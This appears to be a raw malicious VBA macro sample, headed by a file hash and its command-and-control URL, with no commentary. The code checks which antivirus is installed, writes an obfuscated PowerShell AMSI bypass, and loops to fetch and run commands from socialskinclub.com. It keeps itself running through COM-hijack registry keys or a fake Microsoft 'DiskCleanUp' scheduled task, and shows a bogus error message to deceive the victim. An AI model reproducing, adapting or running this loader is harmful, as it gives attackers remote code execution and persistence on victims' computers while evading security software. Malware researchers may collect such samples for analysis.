aca9e602caefd598a3c5991d68937bc1624cdc8f1d602f8bc0a3b9c0078a1d28

aca9e602caefd598a3c5991d68937bc1624cdc8f1d602f8bc0a3b9c0078a1d28
https://socialskinclub.com/'+$Julyb




Sub O5P7R5()

    Juliai = ""
    Set factoriesy = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    Lyonsz = "securitycenter2"

    Set ministersi = GetObject("winmgmts:\\localhost\root\" & Lyonsz)
    Set soldiersc = ministersi.execquery("select * from antivirusproduct", "wql", 0)

    For Each startedl In soldiersc
        Juliai = Juliai & startedl.DisplayName & " ."
    Next

    Set stoopx = CreateObject("Scripting.FileSystemObject")

    Set sorrowm = stoopx.CreateTextFile("C:\ProgramData\righteousy.txt")
        If InStr(Juliai, "Norton") = False Then
            sorrowm.Write "try{Remove-Module -Name PSReadline -Force}catch{};$breezew = 'Sys';$breezew += 'tem.Ma';$breezew += 'nagement.Au';$breezew += 'tom';$breezew += 'ation.';$breezew += 'A';$breezew += 'm';$contemplationv = 's';$contemplationv += 'i';$contemplationv += 'Ut';$contemplationv += 'ils';$Herer = 'In';$songsi = 'itF';$uselessd = 'ailed';$downstairsh = 'am';$downstairsh += 's';$downstairsh += 'i' ;$describedu = $downstairsh + $Herer + $songsi + $uselessd ;$tix = $null;$linksk = $true;$Foundationl = [Ref].Assembly.GetType($breezew + $contemplationv).GetField($describedu,'NonPublic,Static');$Foundationl.SetValue($tix, $linksk);"
        End If
        sorrowm.Write "function gatheringp($Julyb){$newsletterw = [Net.WebRequest]::Create('https://socialskinclub.com/'+$Julyb);$newsletterw.Method='GET';$newsletterw.UserAgent='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:PLO_47) Gecko/32.28.31.47 Firefox/2.0';$newsletterw.Accept='text/html,application/json;q=0.9,*/*;q=0.8';$newsletterw.ContentLength=0;$passe=$newsletterw.GetResponse();$global:status=[int]$passe.StatusCode;$cigarp=$passe.GetResponseStream();$cigarpReader=new-object System.IO.StreamReader $cigarp;$beloww=$cigarpReader.ReadToEnd();$cigarpReader.Close();$passe.Close();return $beloww}while($true){$partiald=gatheringp('');if ($global:status -eq 200 -and -not [string]::IsNullOrEmpty($partiald)){$partiald=$partiald.ToString().Substring($partiald.IndexOf('<p>')+3, $partiald.LastIndexOf('</p>')-$partiald.IndexOf('<p>')-3);iex($partiald)}Get-Random -Minimum 60 -Maximum 100 | start-sleep}"
    sorrowm.Close
    touchl = InStr(Juliai, "Avast") Or InStr(Juliai, "AVG") Or InStr(Juliai, "360")
    If touchl Then
        sondernb = 1
        cataloguek = "C:\ProgramData\prncnfg.txt"
    Else
        sondernb = False
        cataloguek = "C:\ProgramData\prncnfg.v"
        cataloguek = cataloguek & Chr(98)
        cataloguek = cataloguek & "s"
    End If

    Set Italiansz = stoopx.CreateTextFile(cataloguek)
        Italiansz.Write "CreateObject(""Shell.Application"").ShellExecute "
        Italiansz.Write """p"
        Italiansz.Write "o"
        Italiansz.Write "w"
        Italiansz.Write "e"
        Italiansz.Write "r"
        Italiansz.Write "s"
        Italiansz.Write "h"
        Italiansz.Write "e"
        Italiansz.Write "l"
        Italiansz.Write "l"","
        Italiansz.Write """-C "" & (CreateObject(""Scripting.FileSystemObject"").OpenTextFile(""C:\ProgramData\righteousy.txt"").ReadAll),,, 0"
    Italiansz.Close

    If sondernb Then
        cataloguek = "//B //E:v" & Chr(98) & "s" & "cript " & cataloguek
    Else
        cataloguek = "//B " & cataloguek
    End If

    destroyd = touchl Or InStr(Juliai, "F-Secure") Or InStr(Juliai, "BitDefender")
    If destroyd = False Then
        temp = CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%temp%")
        If Juliai = "Windows Defender ." Then
            Set Italiansz = stoopx.CreateTextFile(temp & "\gatherNetworkInfo.v" & Chr(98) & "s")
            Italiansz.Write "CreateObject(""Wscript.Shell"").RegWrite ""HKCU\Software\Classes\WbemScripting.SWbemLocator\CLSID\"", ""{451e01eb-660e-4dbb-b371-d29b3203725d}"", ""REG_SZ"":CreateObject(""Wscript.Shell"").RegWrite ""HKCU\Software\Classes\CLSID\{451e01eb-660e-4dbb-b371-d29b3203725d}\LocalServer32\"", ""wscript.exe " & cataloguek & """, ""REG_SZ"""
            Italiansz.Close
            waitTill = Now() + TimeValue("00:00:01")
            While Now() < waitTill
                DoEvents
            Wend
            CreateObject("Shell.Application").ShellExecute "explorer.exe", temp & "\gatherNetworkInfo.v" & Chr(98) & "s", , , 0
            waitTill = Now() + TimeValue("00:00:01")
            While Now() < waitTill
                DoEvents
            Wend
            On Error Resume Next
            CreateObject("Shell.Application").ShellExecute "cscript.exe", "C:\windows\System32\Printing_Admin_Scripts\en-US\prnport.v" & Chr(98) & "s" & " -g", , , 0
            MsgBox "Something went wrong!" & vbCrLf & "Kindly contact the sender to send you the file again.", vbCritical, "Error"
            Exit Sub
        End If
        Set Italiansz = stoopx.CreateTextFile(temp & "\gatherNetworkInfo.v" & Chr(98) & "s")
        Italiansz.Write "CreateObject(""Wscript.Shell"").RegWrite ""HKCU\Software\Classes\CLSID\{00021400-0000-0000-C000-000000000046}\shell\open\command\"", ""wscript.exe "" & """ & cataloguek & """, ""REG_SZ"":CreateObject(""Shell.Application"").ShellExecute ""shell:Desktop"",,,, 0"
        Italiansz.Close
        waitTill = Now() + TimeValue("00:00:01")
        While Now() < waitTill
            DoEvents
        Wend
        CreateObject("Shell.Application").ShellExecute "explorer.exe", temp & "\gatherNetworkInfo.v" & Chr(98) & "s", , , 0
        MsgBox "Something went wrong!" & vbCrLf & "Kindly contact the sender to send you the file again.", vbCritical, "Error"
        Exit Sub
    End If
    Set quellev = CreateObject("Schedule.Service")
    Call quellev.Connect

    Set easyv = quellev.NewTask(0)

    Set accordingx = easyv.RegistrationInfo
    accordingx.Description = "Maintenance task used by the system to launch a silent auto disk cleanup when running low on free disk space."
    accordingx.Author = "Microsoft Corporation"
    accordingx.Version = 1
    accordingx.Source = "Microsoft Windows"
    accordingx.URI = "DiskCleanUp"

    Set boardd = easyv.Settings
    boardd.Enabled = True
    boardd.DisallowStartIfOnBatteries = False
    boardd.StopIfGoingOnBatteries = False
    boardd.StartWhenAvailable = True
    boardd.MultipleInstances = 3
    boardd.AllowHardTerminate = False
    boardd.ExecutionTimeLimit = "PT0S"

    Set rowm = easyv.triggers
    Set hoj = rowm.Create(7)

    Set precisiond = easyv.Actions.Create(0)
    precisiond.Path = "wscript.exe"
    precisiond.Arguments = cataloguek

    Call quellev.GetFolder("\").RegisterTaskDefinition("DiskCleanUp", easyv, 6, , , 0)
    MsgBox "Something went wrong!" & vbCrLf & "Kindly contact the sender to send you the file again.", vbCritical, "Error"
End Sub